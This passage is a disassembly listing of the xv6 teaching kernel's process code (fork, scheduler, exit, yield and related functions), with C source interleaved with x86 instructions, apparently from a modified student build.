%ebp 80103581: 89 e5 mov %esp,%ebp 80103583: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80103586: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010358d: e8 8e 0c 00 00 call 80104220 <release> if (first) { 80103592: a1 00 a0 10 80 mov 0x8010a000,%eax 80103597: 85 c0 test %eax,%eax 80103599: 75 05 jne 801035a0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 8010359b: c9 leave 8010359c: c3 ret 8010359d: 8d 76 00 lea 0x0(%esi),%esi iinit(ROOTDEV); 801035a0: c7 04 24 01 00 00 00 movl $0x1,(%esp) first = 0; 801035a7: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801035ae: 00 00 00 iinit(ROOTDEV); 801035b1: e8 aa de ff ff call 80101460 <iinit> initlog(ROOTDEV); 801035b6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801035bd: e8 9e f4 ff ff call 80102a60 <initlog> } 801035c2: c9 leave 801035c3: c3 ret 801035c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801035d0 <pinit>: { 801035d0: 55 push %ebp 801035d1: 89 e5 mov %esp,%ebp 801035d3: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 801035d6: c7 44 24 04 75 73 10 movl $0x80107375,0x4(%esp) 801035dd: 80 801035de: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801035e5: e8 56 0a 00 00 call 80104040 <initlock> } 801035ea: c9 leave 801035eb: c3 ret 801035ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801035f0 <mycpu>: { 801035f0: 55 push %ebp 801035f1: 89 e5 mov %esp,%ebp 801035f3: 56 push %esi 801035f4: 53 push %ebx 801035f5: 83 ec 10 sub $0x10,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801035f8: 9c pushf 801035f9: 58 pop %eax if(readeflags()&FL_IF) 801035fa: f6 c4 02 test $0x2,%ah 801035fd: 75 57 jne 80103656 <mycpu+0x66> apicid = lapicid(); 801035ff: e8 4c f1 ff ff call 80102750 <lapicid> for (i = 0; i < ncpu; ++i) { 80103604: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 8010360a: 85 f6 test %esi,%esi 8010360c: 7e 3c jle 8010364a <mycpu+0x5a> if (cpus[i].apicid == apicid) 8010360e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103615: 39 c2 cmp %eax,%edx 80103617: 74 2d je 80103646 <mycpu+0x56> 80103619: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010361e: 31 d2 xor %edx,%edx 80103620: 83 c2 01 add $0x1,%edx 80103623: 39 f2 cmp %esi,%edx 80103625: 74 23 je 8010364a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103627: 0f b6 19 movzbl (%ecx),%ebx 8010362a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103630: 39 c3 cmp %eax,%ebx 80103632: 75 ec jne 80103620 <mycpu+0x30> return &cpus[i]; 80103634: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } 8010363a: 83 c4 10 add $0x10,%esp 8010363d: 5b pop %ebx 8010363e: 5e pop %esi 8010363f: 5d pop %ebp return &cpus[i]; 80103640: 05 80 27 11 80 add $0x80112780,%eax } 80103645: c3 ret for (i = 0; i < ncpu; ++i) { 80103646: 31 d2 xor %edx,%edx 80103648: eb ea jmp 80103634 <mycpu+0x44> panic("unknown apicid\n"); 8010364a: c7 04 24 7c 73 10 80 movl $0x8010737c,(%esp) 80103651: e8 0a cd ff ff call 80100360 <panic> panic("mycpu called with interrupts enabled\n"); 80103656: c7 04 24 58 74 10 80 movl $0x80107458,(%esp) 8010365d: e8 fe cc ff ff call 80100360 <panic> 80103662: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103670 <cpuid>: cpuid() { 80103670: 55 push %ebp 80103671: 89 e5 mov %esp,%ebp 80103673: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103676: e8 75 ff ff ff call 801035f0 <mycpu> } 8010367b: c9 leave return mycpu()-cpus; 8010367c: 2d 80 27 11 80 sub $0x80112780,%eax 80103681: c1 f8 04 sar $0x4,%eax 80103684: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 8010368a: c3 ret 8010368b: 90 nop 8010368c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103690 <myproc>: myproc(void) { 80103690: 55 push %ebp 80103691: 89 e5 mov %esp,%ebp 80103693: 53 push %ebx 80103694: 83 ec 04 sub $0x4,%esp pushcli(); 80103697: e8 54 0a 00 00 call 801040f0 <pushcli> c = mycpu(); 8010369c: e8 4f ff ff ff call 801035f0 <mycpu> p = c->proc; 801036a1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801036a7: e8 04 0b 00 00 call 801041b0 <popcli> } 801036ac: 83 c4 04 add $0x4,%esp 801036af: 89 d8 mov %ebx,%eax 801036b1: 5b pop %ebx 801036b2: 5d pop %ebp 801036b3: c3 ret 801036b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036c0 <userinit>: { 801036c0: 55 push %ebp 801036c1: 89 e5 mov %esp,%ebp 801036c3: 53 push %ebx 801036c4: 83 ec 14 sub $0x14,%esp p = allocproc(); 801036c7: e8 e4 fd ff ff call 801034b0 <allocproc> 801036cc: 89 c3 mov %eax,%ebx initproc = p; 801036ce: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 801036d3: e8 68 33 00 00 call 80106a40 <setupkvm> 801036d8: 85 c0 test %eax,%eax 801036da: 89 43 04 mov %eax,0x4(%ebx) 801036dd: 0f 84 d4 00 00 00 je 801037b7 <userinit+0xf7> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801036e3: 89 04 24 mov %eax,(%esp) 801036e6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp) 801036ed: 00 801036ee: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp) 801036f5: 80 801036f6: e8 55 30 00 00 call 80106750 <inituvm> p->sz = PGSIZE; 801036fb: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 80103701: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 80103708: 00 80103709: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103710: 00 80103711: 8b 43 18 mov 0x18(%ebx),%eax 80103714: 89 04 24 mov %eax,(%esp) 80103717: e8 54 0b 00 00 call 80104270 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010371c: 8b 43 18 mov 0x18(%ebx),%eax 8010371f: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103724: b9 23 00 00 00 mov $0x23,%ecx p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103729: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010372d: 8b 43 18 mov 0x18(%ebx),%eax 80103730: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103734: 8b 43 18 mov 0x18(%ebx),%eax 80103737: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010373b: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010373f: 8b 43 18 mov 0x18(%ebx),%eax 80103742: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103746: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010374a: 8b 43 18 mov 0x18(%ebx),%eax 8010374d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103754: 8b 43 18 mov 0x18(%ebx),%eax 80103757: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010375e: 8b 43 18 mov 0x18(%ebx),%eax 80103761: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103768: 8d 43 6c lea 0x6c(%ebx),%eax 8010376b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103772: 00 80103773: c7 44 24 04 a5 73 10 movl $0x801073a5,0x4(%esp) 8010377a: 80 8010377b: 89 04 24 mov %eax,(%esp) 8010377e: e8 cd 0c 00 00 call 80104450 <safestrcpy> p->cwd = namei("/"); 80103783: c7 04 24 ae 73 10 80 movl $0x801073ae,(%esp) 8010378a: e8 61 e7 ff ff call 80101ef0 <namei> 8010378f: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 80103792: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103799: e8 92 09 00 00 call 80104130 <acquire> p->state = RUNNABLE; 8010379e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801037a5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037ac: e8 6f 0a 00 00 call 80104220 <release> } 801037b1: 83 c4 14 add $0x14,%esp 801037b4: 5b pop %ebx 801037b5: 5d pop %ebp 801037b6: c3 ret panic("userinit: out of memory?"); 801037b7: c7 04 24 8c 73 10 80 movl $0x8010738c,(%esp) 801037be: e8 9d cb ff ff call 80100360 <panic> 801037c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037d0 <growproc>: { 801037d0: 55 push %ebp 801037d1: 89 e5 mov %esp,%ebp 801037d3: 56 push %esi 801037d4: 53 push %ebx 801037d5: 83 ec 10 sub $0x10,%esp 801037d8: 8b 75 08 mov 0x8(%ebp),%esi struct proc *curproc = myproc(); 801037db: e8 b0 fe ff ff call 80103690 <myproc> if(n > 0){ 801037e0: 83 fe 00 cmp $0x0,%esi struct proc *curproc = myproc(); 801037e3: 89 c3 mov %eax,%ebx sz = curproc->sz; 801037e5: 8b 00 mov (%eax),%eax if(n > 0){ 801037e7: 7e 2f jle 80103818 <growproc+0x48> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 801037e9: 01 c6 add %eax,%esi 801037eb: 89 74 24 08 mov %esi,0x8(%esp) 801037ef: 89 44 24 04 mov %eax,0x4(%esp) 801037f3: 8b 43 04 mov 0x4(%ebx),%eax 801037f6: 89 04 24 mov %eax,(%esp) 801037f9: e8 a2 30 00 00 call 801068a0 <allocuvm> 801037fe: 85 c0 test %eax,%eax 80103800: 74 36 je 80103838 <growproc+0x68> curproc->sz = sz; 80103802: 89 03 mov %eax,(%ebx) switchuvm(curproc); 80103804: 89 1c 24 mov %ebx,(%esp) 80103807: e8 34 2e 00 00 call 80106640 <switchuvm> return 0; 8010380c: 31 c0 xor %eax,%eax } 8010380e: 83 c4 10 add $0x10,%esp 80103811: 5b pop %ebx 80103812: 5e pop %esi 80103813: 5d pop %ebp 80103814: c3 ret 80103815: 8d 76 00 lea 0x0(%esi),%esi } else if(n < 0){ 80103818: 74 e8 je 80103802 <growproc+0x32> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010381a: 01 c6 add %eax,%esi 8010381c: 89 74 24 08 mov %esi,0x8(%esp) 80103820: 89 44 24 04 mov %eax,0x4(%esp) 80103824: 8b 43 04 mov 0x4(%ebx),%eax 80103827: 89 04 24 mov %eax,(%esp) 8010382a: e8 71 31 00 00 call 801069a0 <deallocuvm> 8010382f: 85 c0 test %eax,%eax 80103831: 75 cf jne 80103802 <growproc+0x32> 80103833: 90 nop 80103834: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80103838: b8 ff ff ff ff mov $0xffffffff,%eax 8010383d: eb cf jmp 8010380e <growproc+0x3e> 8010383f: 90 nop 80103840 <fork>: { 80103840: 55 push %ebp 80103841: 89 e5 mov %esp,%ebp 80103843: 57 push %edi 80103844: 56 push %esi 80103845: 53 push %ebx 80103846: 83 ec 1c sub $0x1c,%esp struct proc *curproc = myproc(); 80103849: e8 42 fe ff ff call 80103690 <myproc> 8010384e: 89 c3 mov %eax,%ebx if((np = allocproc()) == 0){ 80103850: e8 5b fc ff ff call 801034b0 <allocproc> 80103855: 85 c0 test %eax,%eax 80103857: 89 c7 mov %eax,%edi 80103859: 89 45 e4 mov %eax,-0x1c(%ebp) 8010385c: 0f 84 c4 00 00 00 je 80103926 <fork+0xe6> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz, curproc->stacksize)) == 0){ 80103862: 8b 43 7c mov 0x7c(%ebx),%eax 80103865: 89 44 24 08 mov %eax,0x8(%esp) 80103869: 8b 03 mov (%ebx),%eax 8010386b: 89 44 24 04 mov %eax,0x4(%esp) 8010386f: 8b 43 04 mov 0x4(%ebx),%eax 80103872: 89 04 24 mov %eax,(%esp) 80103875: e8 a6 32 00 00 call 80106b20 <copyuvm> 8010387a: 85 c0 test %eax,%eax 8010387c: 89 47 04 mov %eax,0x4(%edi) 8010387f: 0f 84 a8 00 00 00 je 8010392d <fork+0xed> np->sz = curproc->sz; 80103885: 8b 03 mov (%ebx),%eax *np->tf = *curproc->tf; 80103887: b9 13 00 00 00 mov $0x13,%ecx np->sz = curproc->sz; 8010388c: 8b 55 e4 mov -0x1c(%ebp),%edx 8010388f: 89 02 mov %eax,(%edx) *np->tf = *curproc->tf; 80103891: 8b 7a 18 mov 0x18(%edx),%edi np->parent = curproc; 80103894: 89 5a 14 mov %ebx,0x14(%edx) *np->tf = *curproc->tf; 80103897: 8b 73 18 mov 0x18(%ebx),%esi 8010389a: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 8010389c: 31 f6 xor %esi,%esi np->stacksize = curproc->stacksize; 8010389e: 8b 43 7c mov 0x7c(%ebx),%eax 801038a1: 89 42 7c mov %eax,0x7c(%edx) np->tf->eax = 0; 801038a4: 8b 42 18 mov 0x18(%edx),%eax 801038a7: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) 801038ae: 66 90 xchg %ax,%ax if(curproc->ofile[i]) 801038b0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801038b4: 85 c0 test %eax,%eax 801038b6: 74 0f je 801038c7 <fork+0x87> np->ofile[i] = filedup(curproc->ofile[i]); 801038b8: 89 04 24 mov %eax,(%esp) 801038bb: e8 00 d5 ff ff call 80100dc0 <filedup> 801038c0: 8b 55 e4 mov -0x1c(%ebp),%edx 801038c3: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 801038c7: 83 c6 01 add $0x1,%esi 801038ca: 83 fe 10 cmp $0x10,%esi 801038cd: 75 e1 jne 801038b0 <fork+0x70> np->cwd = idup(curproc->cwd); 801038cf: 8b 43 68 mov 0x68(%ebx),%eax safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038d2: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 801038d5: 89 04 24 mov %eax,(%esp) 801038d8: e8 93 dd ff ff call 80101670 <idup> 801038dd: 8b 7d e4 mov -0x1c(%ebp),%edi 801038e0: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038e3: 8d 47 6c lea 0x6c(%edi),%eax 801038e6: 89 5c 24 04 mov %ebx,0x4(%esp) 801038ea: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 801038f1: 00 801038f2: 89 04 24 mov %eax,(%esp) 801038f5: e8 56 0b 00 00 call 80104450 <safestrcpy> pid = np->pid; 801038fa: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 801038fd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103904: e8 27 08 00 00 call 80104130 <acquire> np->state = RUNNABLE; 80103909: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103910: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103917: e8 04 09 00 00 call 80104220 <release> return pid; 8010391c: 89 d8 mov %ebx,%eax } 8010391e: 83 c4 1c add $0x1c,%esp 80103921: 5b pop %ebx 80103922: 5e pop %esi 80103923: 5f pop %edi 80103924: 5d pop %ebp 80103925: c3 ret return -1; 80103926: b8 ff ff ff ff mov $0xffffffff,%eax 8010392b: eb f1 jmp 8010391e <fork+0xde> kfree(np->kstack); 8010392d: 8b 7d e4 mov -0x1c(%ebp),%edi 80103930: 8b 47 08 mov 0x8(%edi),%eax 80103933: 89 04 24 mov %eax,(%esp) 80103936: e8 a5 e9 ff ff call 801022e0 <kfree> return -1; 8010393b: b8 ff ff ff ff mov $0xffffffff,%eax np->kstack = 0; 80103940: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 80103947: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 8010394e: eb ce jmp 8010391e <fork+0xde> 80103950 <scheduler>: { 80103950: 55 push %ebp 80103951: 89 e5 mov %esp,%ebp 80103953: 57 push %edi 80103954: 56 push %esi 80103955: 53 push %ebx 80103956: 83 ec 1c sub $0x1c,%esp struct cpu *c = mycpu(); 80103959: e8 92 fc ff ff call 801035f0 <mycpu> 8010395e: 89 c6 mov %eax,%esi c->proc = 0; 80103960: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103967: 00 00 00 8010396a: 8d 78 04 lea 0x4(%eax),%edi 8010396d: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103970: fb sti acquire(&ptable.lock); 80103971: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103978: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 8010397d: e8 ae 07 00 00 call 80104130 <acquire> 80103982: eb 0f jmp 80103993 <scheduler+0x43> 80103984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103988: 83 eb 80 sub $0xffffff80,%ebx 8010398b: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103991: 74 45 je 801039d8 <scheduler+0x88> if(p->state != RUNNABLE) 80103993: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103997: 75 ef jne 80103988 <scheduler+0x38> c->proc = p; 80103999: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 8010399f: 89 1c 24 mov %ebx,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039a2: 83 eb 80 sub $0xffffff80,%ebx switchuvm(p); 801039a5: e8 96 2c 00 00 call 80106640 <switchuvm> swtch(&(c->scheduler), p->context); 801039aa: 8b 43 9c mov -0x64(%ebx),%eax p->state = RUNNING; 801039ad: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx) swtch(&(c->scheduler), p->context); 801039b4: 89 3c 24 mov %edi,(%esp) 801039b7: 89 44 24 04 mov %eax,0x4(%esp) 801039bb: e8 eb 0a 00 00 call 801044ab <swtch> switchkvm(); 801039c0: e8 5b 2c 00 00 call 80106620 <switchkvm> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039c5: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx c->proc = 0; 801039cb: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 801039d2: 00 00 00 for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039d5: 75 bc jne 80103993 <scheduler+0x43> 801039d7: 90 nop release(&ptable.lock); 801039d8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801039df: e8 3c 08 00 00 call 80104220 <release> } 801039e4: eb 8a jmp 80103970 <scheduler+0x20> 801039e6: 8d 76 00 lea 0x0(%esi),%esi 801039e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801039f0 <sched>: { 801039f0: 55 push %ebp 801039f1: 89 e5 mov %esp,%ebp 801039f3: 56 push %esi 801039f4: 53 push %ebx 801039f5: 83 ec 10 sub $0x10,%esp struct proc *p = myproc(); 801039f8: e8 93 fc ff ff call 80103690 <myproc> if(!holding(&ptable.lock)) 801039fd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *p = myproc(); 80103a04: 89 c3 mov %eax,%ebx if(!holding(&ptable.lock)) 80103a06: e8 b5 06 00 00 call 801040c0 <holding> 80103a0b: 85 c0 test %eax,%eax 80103a0d: 74 4f je 80103a5e <sched+0x6e> if(mycpu()->ncli != 1) 80103a0f: e8 dc fb ff ff call 801035f0 <mycpu> 80103a14: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103a1b: 75 65 jne 80103a82 <sched+0x92> if(p->state == RUNNING) 80103a1d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103a21: 74 53 je 80103a76 <sched+0x86> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103a23: 9c pushf 80103a24: 58 pop %eax if(readeflags()&FL_IF) 80103a25: f6 c4 02 test $0x2,%ah 80103a28: 75 40 jne 80103a6a <sched+0x7a> intena = mycpu()->intena; 80103a2a: e8 c1 fb ff ff call 801035f0 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103a2f: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103a32: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103a38: e8 b3 fb ff ff call 801035f0 <mycpu> 80103a3d: 8b 40 04 mov 0x4(%eax),%eax 80103a40: 89 1c 24 mov %ebx,(%esp) 80103a43: 89 44 24 04 mov %eax,0x4(%esp) 80103a47: e8 5f 0a 00 00 call 801044ab <swtch> mycpu()->intena = intena; 80103a4c: e8 9f fb ff ff call 801035f0 <mycpu> 80103a51: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103a57: 83 c4 10 add $0x10,%esp 80103a5a: 5b pop %ebx 80103a5b: 5e pop %esi 80103a5c: 5d pop %ebp 80103a5d: c3 ret panic("sched ptable.lock"); 80103a5e: c7 04 24 b0 73 10 80 movl $0x801073b0,(%esp) 80103a65: e8 f6 c8 ff ff call 80100360 <panic> panic("sched interruptible"); 80103a6a: c7 04 24 dc 73 10 80 movl $0x801073dc,(%esp) 80103a71: e8 ea c8 ff ff call 80100360 <panic> panic("sched running"); 80103a76: c7 04 24 ce 73 10 80 movl $0x801073ce,(%esp) 80103a7d: e8 de c8 ff ff call 80100360 <panic> panic("sched locks"); 80103a82: c7 04 24 c2 73 10 80 movl $0x801073c2,(%esp) 80103a89: e8 d2 c8 ff ff call 80100360 <panic> 80103a8e: 66 90 xchg %ax,%ax 80103a90 <exit>: { 80103a90: 55 push %ebp 80103a91: 89 e5 mov %esp,%ebp 80103a93: 56 push %esi if(curproc == initproc) 80103a94: 31 f6 xor %esi,%esi { 80103a96: 53 push %ebx 80103a97: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103a9a: e8 f1 fb ff ff call 80103690 <myproc> if(curproc == initproc) 80103a9f: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax struct proc *curproc = myproc(); 80103aa5: 89 c3 mov %eax,%ebx if(curproc == initproc) 80103aa7: 0f 84 ea 00 00 00 je 80103b97 <exit+0x107> 80103aad: 8d 76 00 lea 0x0(%esi),%esi if(curproc->ofile[fd]){ 80103ab0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103ab4: 85 c0 test %eax,%eax 80103ab6: 74 10 je 80103ac8 <exit+0x38> fileclose(curproc->ofile[fd]); 80103ab8: 89 04 24 mov %eax,(%esp) 80103abb: e8 50 d3 ff ff call 80100e10 <fileclose> curproc->ofile[fd] = 0; 80103ac0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4) 80103ac7: 00 for(fd = 0; fd < NOFILE; fd++){ 80103ac8: 83 c6 01 add $0x1,%esi 80103acb: 83 fe 10 cmp $0x10,%esi 80103ace: 75 e0 jne 80103ab0 <exit+0x20> begin_op(); 80103ad0: e8 2b f0 ff ff call 80102b00 <begin_op> iput(curproc->cwd); 80103ad5: 8b 43 68 mov 0x68(%ebx),%eax 80103ad8: 89 04 24 mov %eax,(%esp) 80103adb: e8 e0 dc ff ff call 801017c0 <iput> end_op(); 80103ae0: e8 8b f0 ff ff call 80102b70 <end_op> curproc->cwd = 0; 80103ae5: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80103aec: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103af3: e8 38 06 00 00 call 80104130 <acquire> wakeup1(curproc->parent); 80103af8: 8b 43 14 mov 0x14(%ebx),%eax static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103afb: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b00: eb 11 jmp 80103b13 <exit+0x83> 80103b02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103b08: 83 ea 80 sub $0xffffff80,%edx 80103b0b: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b11: 74 1d je 80103b30 <exit+0xa0> if(p->state == SLEEPING && p->chan == chan) 80103b13: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b17: 75 ef jne 80103b08 <exit+0x78> 80103b19: 3b 42 20 cmp 0x20(%edx),%eax 80103b1c: 75 ea jne 80103b08 <exit+0x78> p->state = RUNNABLE; 80103b1e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b25: 83 ea 80 sub $0xffffff80,%edx 80103b28: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b2e: 75 e3 jne 80103b13 <exit+0x83> p->parent = initproc; 80103b30: a1 b8 a5 10 80 mov 0x8010a5b8,%eax 80103b35: b9 54 2d 11 80 mov $0x80112d54,%ecx 80103b3a: eb 0f jmp 80103b4b <exit+0xbb> 80103b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b40: 83 e9 80 sub $0xffffff80,%ecx 80103b43: 81 f9 54 4d 11 80 cmp $0x80114d54,%ecx 80103b49: 74 34 je 80103b7f <exit+0xef> if(p->parent == curproc){ 80103b4b: 39 59 14 cmp %ebx,0x14(%ecx) 80103b4e: 75 f0 jne 80103b40 <exit+0xb0> if(p->state == ZOMBIE) 80103b50: 83 79 0c 05 cmpl $0x5,0xc(%ecx) p->parent = initproc; 80103b54: 89 41 14 mov %eax,0x14(%ecx) if(p->state == ZOMBIE) 80103b57: 75 e7 jne 80103b40 <exit+0xb0> 80103b59: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b5e: eb 0b jmp 80103b6b <exit+0xdb> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b60: 83 ea 80 sub $0xffffff80,%edx 80103b63: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx 80103b69: 74 d5 je 80103b40 <exit+0xb0> if(p->state == SLEEPING && p->chan == chan) 80103b6b: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b6f: 75 ef jne 80103b60 <exit+0xd0> 80103b71: 3b 42 20 cmp 0x20(%edx),%eax 80103b74: 75 ea jne 80103b60 <exit+0xd0> p->state = RUNNABLE; 80103b76: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) 80103b7d: eb e1 jmp 80103b60 <exit+0xd0> curproc->state = ZOMBIE; 80103b7f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) sched(); 80103b86: e8 65 fe ff ff call 801039f0 <sched> panic("zombie exit"); 80103b8b: c7 04 24 fd 73 10 80 movl $0x801073fd,(%esp) 80103b92: e8 c9 c7 ff ff call 80100360 <panic> panic("init exiting"); 80103b97: c7 04 24 f0 73 10 80 movl $0x801073f0,(%esp) 80103b9e: e8 bd c7 ff ff call 80100360 <panic> 80103ba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103bb0 <yield>: { 80103bb0: 55 push %ebp 80103bb1: 89 e5 mov %esp,%ebp 80103bb3: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80103bb6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bbd: e8 6e 05 00 00 call 80104130 <acquire> myproc()->state = RUNNABLE; 80103bc2: e8 c9 fa ff ff call 80103690 <myproc> 80103bc7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80103bce: e8 1d fe ff ff call 801039f0 <sched> release(&ptable.lock); 80103bd3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bda: e8 41 06 00 00 call 80104220 <release> } 80103bdf: c9 leave 80103be0: c3 ret 80103be1: eb 0d jmp 80103bf0 <sleep> 80103be3: 90 nop 80103be4: 90 nop 80103be5: 90 nop 80103be6: 90 nop 80103be7: 90 nop 80103be8: 90 nop 80103be9: 90 nop 80103bea: 90 nop 80103beb: 90 nop 80103bec: 90 nop 80103bed: 90 nop 80103bee: 90 nop 80103bef: 90 nop 80103bf0 <sleep>: { 80103bf0: 55 push %ebp 80103bf1: 89 e5 mov %esp,%ebp 80103bf3: 57 push %edi 80103bf4: 56 push %esi 